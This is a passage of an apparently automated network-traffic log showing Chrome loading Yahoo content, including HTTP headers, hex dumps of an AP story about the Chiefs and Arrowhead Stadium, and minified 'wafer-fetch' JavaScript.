"Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	1267	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 121190 etag: W/"1d966-OPXER8PUPJZRWacDgblrDQbPuiM" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:52 GMT x-envoy-upstream-service-time: 39 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=3c2p2t5j2qvpg&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Referrer-Policy: no-referrer-when-downgrade Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	900	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 66 6f 6f 74 62 61 6c 6c 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 64 30 30 30 30 30 30 45 63 52 33 4a 41 41 56 3b 72 65 76 73 70 3a 61 70 2e 6f 72 67 3b 6c 70 73 74 61 69 64 3a 65 64 32 65 66 62 66 37 2d 32 34 30 39 2d 33 64 64 38 2d 39 31 38 34 2d 35 31 30 35 32 35 61 32 66 37 32 63 3b 70 74 3a 63 6f 6e 74 65 6e 74 3b 70 64 3a 6d 6f 64 61 6c 3b 76 65 72 3a 6d 65 67 61 73 74 72 6d 3b 70 63 74 3a 73 74 6f 72 79 22 2c 22 73 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"football","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0ad000000EcR3JAAV;revsp:ap.org;lpstaid:ed2efbf7-2409-3dd8-9184-510525a2f72c;pt:content;pd:modal;ver:megastrm;pct:story","s
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 63 68 69 65 66 73 2d 6f 77 6e 65 72 2d 73 61 79 73 2d 6c 65 61 76 69 6e 67 2d 61 72 72 6f 77 68 65 61 64 2d 32 31 32 33 31 35 31 39 37 2e 68 74 6d 6c 22 2c 22 63 61 74 65 67 6f 72 79 4c 61 62 65 6c 22 3a 22 53 70 6f 72 74 73 22 2c 22 63 6f 6d 6d 65 6e 74 73 41 6c 6c 6f 77 65 64 22 3a 74 72 75 65 2c 22 63 6f 6d 6d 65 6e 74 73 43 6f 75 6e 74 22 3a 30 2c 22 63 6f 6e 74 65 6e 74 4d 65 74 61 22 3a 7b 22 61 64 50 6f 73 74 69 6f 6e 73 22 3a 7b 22 70 68 6f 74 6f 73 22 3a 7b 7d 2c 22 49 4e 41 52 54 49 43 4c 45 22 3a 33 7d 2c 22 62 6f 64 79 53 6c 6f 74 73 22 3a 7b 7d 2c 22 63 6f 76 65 72 22 3a 6e 75 6c 6c 2c 22 65 6d 62 65 64 73 22 3a 6e 75 6c 6c 2c 22 68 61 73 45 6d 62 65 64 41 74 42 65 67 69 6e 6e 69 6e 67 22 3a 66 61 6c 73 65 2c Data Ascii: .yahoo.com/chiefs-owner-says-leaving-arrowhead-212315197.html","categoryLabel":"Sports","commentsAllowed":true,"commentsCount":0,"contentMeta":{"adPostions":{"photos":{},"INARTICLE":3},"bodySlots":{},"cover":null,"embeds":null,"hasEmbedAtBeginning":false,
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 39 36 2c 22 65 6e 64 63 68 61 72 22 3a 31 31 32 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 22 74 69 74 6c 65 22 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 4b 61 75 66 66 6d 61 6e 5f 53 74 61 64 69 75 6d 22 2c 22 6c 61 62 65 6c 22 3a 22 4b 61 75 66 66 6d 61 6e 20 53 74 61 64 69 75 6d 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 36 35 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 33 32 31 2c 22 65 6e 64 63 68 Data Ascii: "metaData":[{"visible":"false"}],"startchar":96,"endchar":112,"specialParentTags":["title"],"instanceParentTags":[]},{"term":"WIKIID:Kauffman_Stadium","label":"Kauffman Stadium","capAbtScore":"0.965","metaData":[{"visible":"false"}],"startchar":321,"endch
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 63 6f 72 65 22 3a 22 30 2e 38 22 2c 22 6c 61 62 65 6c 22 3a 22 41 6d 65 72 69 63 61 6e 20 46 6f 6f 74 62 61 6c 6c 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 59 4d 45 44 49 41 3a 43 41 54 45 47 4f 52 59 3d 31 30 30 30 30 30 30 30 35 22 2c 22 73 63 6f 72 65 22 3a 22 31 2e 30 22 2c 22 6c 61 62 65 6c 22 3a 22 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 59 4d 45 44 49 41 3a 43 41 54 45 47 4f 52 59 3d 31 30 30 30 30 30 30 30 33 22 2c 22 73 63 6f 72 65 22 3a 22 31 2e 30 22 2c 22 6c 61 62 65 6c 22 3a 22 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 59 4d 45 44 49 41 3a 43 41 54 45 47 4f 52 59 3d 31 30 30 30 30 30 30 30 32 22 2c 22 73 63 6f 72 65 22 3a 22 31 2e 30 22 2c 22 6c 61 62 65 6c 22 3a 22 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 59 4d 45 44 49 41 3a 43 41 54 45 47 4f 52 59 3d 30 30 30 Data Ascii: core":"0.8","label":"American Football"},{"term":"YMEDIA:CATEGORY=100000005","score":"1.0","label":""},{"term":"YMEDIA:CATEGORY=100000003","score":"1.0","label":""},{"term":"YMEDIA:CATEGORY=100000002","score":"1.0","label":""},{"term":"YMEDIA:CATEGORY=000
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 61 70 2e 6f 72 67 22 5d 2c 22 70 72 6f 76 69 64 65 72 42 72 61 6e 64 22 3a 7b 22 69 64 22 3a 22 65 36 37 34 61 30 37 66 2d 65 37 39 61 2d 33 64 32 37 2d 39 30 31 65 2d 33 36 31 65 34 32 64 64 37 34 36 63 22 2c 22 62 72 61 6e 64 49 64 22 3a 22 61 73 73 6f 63 69 61 74 65 64 5f 70 72 65 73 73 22 2c 22 64 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 41 73 73 6f 63 69 61 74 65 64 20 50 72 65 73 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 73 74 61 74 65 22 3a 22 22 2c 22 73 65 63 6f 6e 64 61 72 79 54 79 70 65 73 22 3a 5b 5d 2c 22 73 6f 63 69 61 6c 41 6c 69 61 73 65 73 22 3a 5b 5d 2c 22 63 61 6c 6c 54 6f 41 63 74 69 6f 6e 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 54 6f 41 63 74 69 6f 6e 73 22 3a 5b 5d 2c 22 62 72 61 6e 64 54 68 65 Data Ascii: ap.org"],"providerBrand":{"id":"e674a07f-e79a-3d27-901e-361e42dd746c","brandId":"associated_press","displayName":"Associated Press","description":"","state":"","secondaryTypes":[],"socialAliases":[],"callToActionEnabled":false,"callToActions":[],"brandThe
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6e 79 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 36 5a 41 6a 36 4f 79 4e 6f 44 50 63 5a 43 42 7a 79 56 6f 62 77 67 2d 2d 2f 59 58 42 77 61 57 51 39 61 47 6c 6e 61 47 78 68 62 6d 52 6c 63 6a 74 33 50 54 45 79 4d 44 41 37 61 44 30 34 4d 44 41 37 59 32 59 39 64 32 56 69 63 41 2d 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 61 70 2e 6f 72 67 2f 38 30 35 38 31 34 39 32 34 34 38 30 33 34 39 32 35 61 64 34 63 35 35 64 64 61 32 34 64 39 39 62 22 2c 22 77 69 64 74 68 22 3a 31 32 30 30 2c 22 68 65 69 67 68 74 22 3a 38 30 30 7d 2c 22 73 68 6f 77 45 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 66 61 6c 73 65 2c 22 73 6c 69 63 6b 54 68 75 Data Ascii: "https://s.yimg.com/ny/api/res/1.2/6ZAj6OyNoDPcZCBzyVobwg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTEyMDA7aD04MDA7Y2Y9d2VicA--/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b","width":1200,"height":800},"showEditorialPicksPlaceholder":false,"slickThu
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 35 32 35 61 32 66 37 32 63 22 2c 22 76 69 64 65 6f 50 6f 73 69 74 69 6f 6e 22 3a 22 22 2c 22 77 69 6b 69 69 64 73 22 3a 22 4b 61 6e 73 61 73 5f 43 69 74 79 5f 43 68 69 65 66 73 2c 41 72 72 6f 77 68 65 61 64 5f 53 74 61 64 69 75 6d 2c 4b 61 75 66 66 6d 61 6e 5f 53 74 61 64 69 75 6d 2c 43 6c 61 72 6b 5f 48 75 6e 74 2c 53 61 6c 65 73 5f 74 61 78 2c 4b 61 6e 73 61 73 2c 54 68 65 5f 52 6f 79 61 6c 73 5f 25 32 38 54 56 5f 73 65 72 69 65 73 25 32 39 2c 52 65 6e 6f 76 61 74 69 6f 6e 2c 54 72 75 6d 61 6e 5f 53 70 6f 72 74 73 5f 43 6f 6d 70 6c 65 78 2c 4a 61 63 6b 73 6f 6e 5f 43 6f 75 6e 74 79 2c 5f 4d 69 73 73 6f 75 72 69 22 2c 22 78 72 61 79 4d 65 74 61 22 3a 5b 5d 2c 22 79 63 74 73 22 3a 22 30 30 31 30 30 30 30 30 32 22 2c 22 68 61 73 59 61 68 6f 6f 56 69 64 65 Data Ascii: 525a2f72c","videoPosition":"","wikiids":"Kansas_City_Chiefs,Arrowhead_Stadium,Kauffman_Stadium,Clark_Hunt,Sales_tax,Kansas,The_Royals_%28TV_series%29,Renovation,Truman_Sports_Complex,Jackson_County,_Missouri","xrayMeta":[],"ycts":"001000002","hasYahooVide
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 5c 22 4d 6f 72 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 53 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 73 5c 22 2c 5c 22 4a 55 53 54 5f 4e 4f 57 5c 22 3a 5c 22 4a 75 73 74 20 6e 6f 77 5c 22 2c 5c 22 52 45 4c 4f 41 44 5c 22 3a 5c 22 43 6c 69 63 6b 20 74 6f 20 72 65 6c 6f 61 64 20 77 69 74 68 20 6c 61 74 65 73 74 20 75 70 64 61 74 65 5c 22 2c 5c 22 53 45 45 20 7b 30 7d 20 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 7b 30 7d 20 6d 6f 72 65 5c 22 2c 5c 22 53 45 45 5f 4c 45 53 53 5c 22 3a 5c 22 53 65 65 20 6c 65 73 73 5c 22 2c 5c 22 53 45 45 5f 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 6d 6f 72 65 5c 22 2c 5c 22 53 48 4f 57 5f 4d 4f 52 45 5c 22 3a 5c 22 53 68 6f 77 20 6d Data Ascii: \"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show m
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 69 65 77 4c 69 6d 69 74 5c 22 3a 35 2c 5c 22 66 72 65 65 7a 65 4f 6e 4c 69 6e 6b 43 6c 69 63 6b 5c 22 3a 74 72 75 65 2c 5c 22 6c 61 7a 79 4f 66 66 73 65 74 59 5c 22 3a 31 33 30 30 2c 5c 22 6c 69 76 65 63 6f 76 65 72 61 67 65 5c 22 3a 7b 5c 22 64 65 66 65 72 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 69 6d 61 67 65 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 33 2c 5c 22 73 6c 69 64 65 73 68 6f 77 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 32 2c 5c 22 75 69 53 68 6f 77 50 72 65 76 69 6f 75 73 42 75 74 74 6f 6e 4f 6e 4c 6f 61 64 5c 22 3a 74 72 75 65 2c 5c 22 70 72 65 73 74 69 67 65 53 63 72 6f 6c 6c 4d 61 72 67 69 6e 54 6f 70 5c 22 3a 2d 37 32 7d 7d 27 20 64 61 74 61 2d 73 70 61 63 65 2d 69 Data Ascii: iewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-i
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 61 64 65 72 2d 65 64 32 65 66 62 66 37 2d 32 34 30 39 2d 33 64 64 38 2d 39 31 38 34 2d 35 31 30 35 32 35 61 32 66 37 32 63 20 64 61 74 61 2d 74 65 73 74 2d 6c 6f 63 61 74 6f 72 3d 68 65 61 64 6c 69 6e 65 3e 43 68 69 65 66 73 20 6f 77 6e 65 72 20 73 61 79 73 20 6c 65 61 76 69 6e 67 20 41 72 72 6f 77 68 65 61 64 20 53 74 61 64 69 75 6d 20 69 73 20 61 6e 20 6f 70 74 69 6f 6e 20 61 66 74 65 72 20 73 61 6c 65 73 20 74 61 78 20 66 75 6e 64 69 6e 67 20 77 61 73 20 72 65 6a 65 63 74 65 64 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 63 6f 6e 74 65 6e 74 2d 62 79 6c 69 6e 65 2d 77 72 61 70 70 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 Data Ascii: ader-ed2efbf7-2409-3dd8-9184-510525a2f72c data-test-locator=headline>Chiefs owner says leaving Arrowhead Stadium is an option after sales tax funding was rejected</h1></div></header><div class=caas-content-byline-wrapper><div class=caas-attr><div class=ca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49835	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	539	OUT	GET /aaq/wf/wf-fetch-1.19.1-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	860	IN	HTTP/1.1 200 OK x-amz-id-2: dg6LEuPlgdGL0xpbeA7dmo8b+TXp1HZW7CEp7s4jsuLjuS1CCAF3VCgtzZcF+oTNjLEbCbg0ITQzDa1m4i9QCdADgZv+qXoRxbY/lo8WsDg= x-amz-request-id: DF9X3WCBVSEBDZZF Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Fri, 20 Oct 2023 09:18:13 GMT ETag: "f085d6c42acb1394e457e463230de8ba" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: XcyEKreDz4JYLdlgGq65LAHV5Dsub3V6 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 16798 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 66 65 74 63 68 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-fetch",[],t):"object"==typeof exports?exports["wafer-fetch"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: ction"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Objec
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6c 6c 79 7b 69 66 28 69 29 74 68 72 6f 77 20 61 7d 7d 72 65 74 75 72 6e 20 72 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 29 72 65 74 75 72 6e 20 74 3b 69 66 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 74 29 29 72 65 74 75 72 6e 20 65 28 74 2c 72 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b Data Ascii: lly{if(i)throw a}}return r}return function(t,r){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),h=function(){function e(e,t){for(var r=0;r<t.length;
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2e 75 72 6c 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 75 72 6c 22 29 2c 68 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 62 6f 75 6e 64 61 72 79 22 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 22 29 2c 79 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 72 65 64 65 6e 74 69 61 6c 73 22 29 2c 76 3d 63 2e 5f 75 74 69 6c 2e 63 61 63 68 65 4b 65 79 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 2d 6b 65 79 22 29 2c 6d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 2d 73 74 72 61 74 65 67 79 22 29 7c 7c 22 6e 65 74 77 6f 72 6b 46 69 72 73 74 22 2c 70 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 2d 74 74 6c Data Ascii: .url\|\|e.getAttribute(b+"url"),h=e.getAttribute(b+"boundary"),d=e.getAttribute(b+"cache"),y=e.getAttribute(b+"credentials"),v=c._util.cacheKey\|\|e.getAttribute(b+"cache-key"),m=e.getAttribute(b+"cache-strategy")\|\|"networkFirst",p=e.getAttribute(b+"cache-ttl
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2c 56 3d 6e 75 6c 6c 29 2c 22 73 74 61 74 65 43 68 61 6e 67 65 22 21 3d 3d 58 7c 7c 48 7c 7c 28 48 3d 30 29 2c 30 21 3d 3d 59 29 73 77 69 74 63 68 28 58 29 7b 63 61 73 65 22 69 6e 74 65 72 76 61 6c 22 3a 63 61 73 65 22 6f 6e 4c 6f 61 64 22 3a 63 61 73 65 22 73 74 61 74 65 43 68 61 6e 67 65 22 3a 63 61 73 65 22 76 69 65 77 70 6f 72 74 22 3a 59 3d 32 7d 69 66 28 22 61 63 74 69 76 61 74 65 22 21 3d 3d 58 26 26 22 65 61 63 68 43 6c 69 63 6b 22 21 3d 3d 58 26 26 22 69 6e 74 65 72 76 61 6c 22 21 3d 3d 58 26 26 22 73 74 61 74 65 43 68 61 6e 67 65 22 21 3d 3d 58 26 26 22 74 61 62 41 63 74 69 76 61 74 65 22 21 3d 3d 58 7c 7c 28 7a 3d 21 30 29 2c 21 4b 29 7b 76 61 72 20 4a 3d 5f 28 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 66 65 Data Ascii: ,V=null),"stateChange"!==X\|\|H\|\|(H=0),0!==Y)switch(X){case"interval":case"onLoad":case"stateChange":case"viewport":Y=2}if("activate"!==X&&"eachClick"!==X&&"interval"!==X&&"stateChange"!==X&&"tabActivate"!==X\|\|(z=!0),!K){var J=_(e.getElementsByClassName("fe
2024-04-27 22:41:52 UTC	979	IN	Data Raw: 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 58 3f 28 63 2e 5f 75 74 69 6c 2e 68 61 73 4d 6f 75 73 65 65 6e 74 65 72 3d 21 30 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 29 3a 22 74 61 62 41 63 74 69 76 61 74 65 22 3d 3d 3d 58 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 77 66 2d 74 72 69 67 67 65 72 2d 61 63 74 69 76 61 74 65 64 22 29 26 26 21 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 73 29 3f 63 2e 66 65 74 63 68 28 29 3a 22 6f 6e 4c 6f 61 64 22 3d 3d 3d 58 26 26 63 2e 66 65 74 63 68 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 63 2e 64 65 73 74 72 6f 79 28 29 7d 29 2c 63 7d 72 65 74 75 72 6e 20 6f 28 74 2c 65 29 2c 68 28 74 2c 5b 7b 6b 65 79 3a 22 66 65 74 63 68 44 Data Ascii: ouseenter"===X?(c._util.hasMouseenter=!0,c.addEventListeners()):"tabActivate"===X&&e.classList.contains("wf-trigger-activated")&&!e.classList.contains(s)?c.fetch():"onLoad"===X&&c.fetch().then(function(e){e&&c.destroy()}),c}return o(t,e),h(t,[{key:"fetchD
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 61 72 67 65 74 46 6f 72 42 6f 75 6e 64 61 72 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 62 6f 75 6e 64 61 72 79 2c 72 3d 65 2e 65 6c 65 6d 2c 6e 3d 65 2e 74 61 72 67 65 74 2c 69 3d 65 2e 74 61 72 67 65 74 45 6c 65 6d 3b 72 65 74 75 72 6e 20 6e 26 26 28 74 26 26 43 28 72 2c 74 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 29 7c 7c 69 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 54 61 72 67 65 74 45 6c 65 6d 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 65 6c 65 6d 2c 72 3d 65 2e 74 61 72 67 65 74 2c 6e 3d 65 2e 74 61 72 67 65 74 45 6c 65 6d 3b 72 65 74 75 72 6e Data Ascii: argetForBoundary",value:function(){var e=this._util,t=e.boundary,r=e.elem,n=e.target,i=e.targetElem;return 